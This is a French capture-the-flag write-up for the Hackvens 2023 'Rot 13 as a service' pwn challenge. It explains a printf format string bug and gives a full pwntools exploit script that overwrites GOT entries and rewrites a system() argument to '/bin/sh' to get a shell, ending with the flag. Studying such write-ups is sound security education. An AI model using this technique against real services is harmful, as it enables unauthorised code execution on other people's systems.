[Hackvens 2023][Write Up – Pwn] Rot 13 as a service
Enoncé
J’ai installé ce service de rot13 trouvé sur github sur mon serveur, je n’ai pas regardé, mais j’espère qu’il n’y a pas de backdoor…
nc 15.236.42.118 1337
Reconnaissance
Le binaire « rot13.elf » qui est fourni est un exécutable linux x86.
En termes de protections:
- Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
- No canary: Pas de protections contre les buffer overflow
- NX: La stack n’est pas exécutable
- No PIE: Les adresses du programme seront fixes
Reverse
Trois fonctions semblent importantes ici:
- srot13
- Main
- func
Pas besoin ici de reverse la fonction srot13. Au vu du nom du programme, on peut deviner qu’elle transforme l’entrée en appliquant l’algorithme rot13 (Chiffre de César avec un décalage de 13).
Le programme lance son introduction, et demande une entrée utilisateur.
Ensuite, le programme va lire 0x100 bytes depuis stdin, y appliquer la fonction srot13, puis l’afficher en premier argument de la fonction printf.
Enfin, la fonction func, appelle system avec comme argument « /bin/ls ».
La chaine de caractère est dans la section .data.
La section .data est ici alloué comme réinscriptible (W => write).
La vulnérabilité
Le premier argument de la fonction printf est normalement réservée aux « formats string« . Ici, elle peut être contrôlée par l’utilisateur et permettre de lire et écrire en mémoire.
Exploitation – base
Pour faciliter l’exploitation, voici une fonction qui transforme l’entrée utilisateur avec du rot13:
def rot13(x): res = b'' for i in x: if 0x61 <= i <= 0x61+26: res += bytes([0x61 + (i-0x61 + 13)%26]) elif 0x41 <= i <= 0x41+26: res += bytes([0x41 + (i-0x41 + 13)%26]) else: res += bytes([i]) return res
Exploitation – ret2main
L’objectif ici, est de pouvoir effectuer autant de formats string que l’on désire.
Pour cela, on va exploiter le fait que la GOT soit réinscriptible.
La première étape consiste à savoir où est notre entrée utilisateur par rapport à la stack.
Voici une documentation qui explique les spécificateurs de format.
Ici, l’entrée se trouve au 11e élément, on peut le vérifier avec « AAAA%11$p » (AAAA -> NNNN en rot13) :
On va se servir du spécificateurs %n pour réécrire l’adresse de exit dans la GOT, pour à la place appeler la fonction main, et pouvoir effectuer nos formats string à l’infini.
Pour rappel:
- %n écrit à l’adresse pointée dans la stack (l’adresse affichée lors d’un %p), le nombre de caractère qui ont été écrits avant le spécificateur de format. Par exemple, dans AAAA%4$n, le nombre 4 sera écrit.
- Il est possible d’écrire un byte (taille 1) avec %hhn, et un word (taille 2) avec %hn.
- Pour écrire X caractère dans le buffer, il est possible d’utiliser %.[nombre]x pour afficher un nombre en hexa, paddé avec [nombre] de 0.
def rot13(x): res = b'' for i in x: if 0x61 <= i <= 0x61+26: res += bytes([0x61 + (i-0x61 + 13)%26]) elif 0x41 <= i <= 0x41+26: res += bytes([0x41 + (i-0x41 + 13)%26]) else: res += bytes([i]) return res r = remote('15.236.42.118',1337) #ret2main reloc_exit = 0x0804c014 main = 0x0804932b #on écrit main à la place de exit payload = p32(reloc_exit)+b'%.'+str((main&0xffff) - 4).encode()+b'x%11$hn' payload = rot13(payload) print(payload) r.sendline(payload) r.recvuntil(b' : \n') r.interactive()
Après toute la chaine de 0, on remarque que l’appel à la fonction exit a bien été remplacée par un appel à main:
Exploitation – réécrire la commande, et appeler func
Maintenant que l’on peut effectuer autant de formats string que l’on veut, on va pouvoir réécrire d’autres éléments de la mémoire plus facilement.
Pour commencer, on a réécrit l’argument de system (« /bin/ls »), et le remplacer par « /bin/sh ».
Enfin, on va reremplacer l’adresse de main dans exit par l’adresse de func, pour lancer /bin/sh.
Solve.py
from pwn import * def rot13(x): res = b'' for i in x: if 0x61 <= i <= 0x61+26: res += bytes([0x61 + (i-0x61 + 13)%26]) elif 0x41 <= i <= 0x41+26: res += bytes([0x41 + (i-0x41 + 13)%26]) else: res += bytes([i]) return res r = remote('15.236.42.118',1337) #ret2main reloc_exit = 0x0804c014 main = 0x0804932b payload = p32(reloc_exit)+b'%.'+str((main&0xffff) - 4).encode()+b'x%11$hn' payload = rot13(payload) print(payload) r.sendline(payload) r.recvuntil(b' : \n') print(r.recv()) #edit system argument cmd = 0x0804c09c payload = p32(cmd+5)+b'%.'+str((int.from_bytes(b'sh','little')&0xffff) - 4).encode()+b'x%11$hn' payload = rot13(payload) print(payload) r.sendline(payload) r.recvuntil(b' : \n') print(r.recv()) #ret2func func = 0x08049243 reloc_exit = 0x0804c014 main = 0x0804932b func = 0x08049243 payload = p32(reloc_exit)+b'%.'+str((func&0xffff) - 4).encode()+b'x%11$hn' payload = rot13(payload) print(payload) r.sendline(payload) r.recvuntil(b' : \n') print(r.recv()) r.interactive()
On obtient alors un shell:
Flag
HACKVENS{F0rm@T_StrIn9_w1tH_r0t13}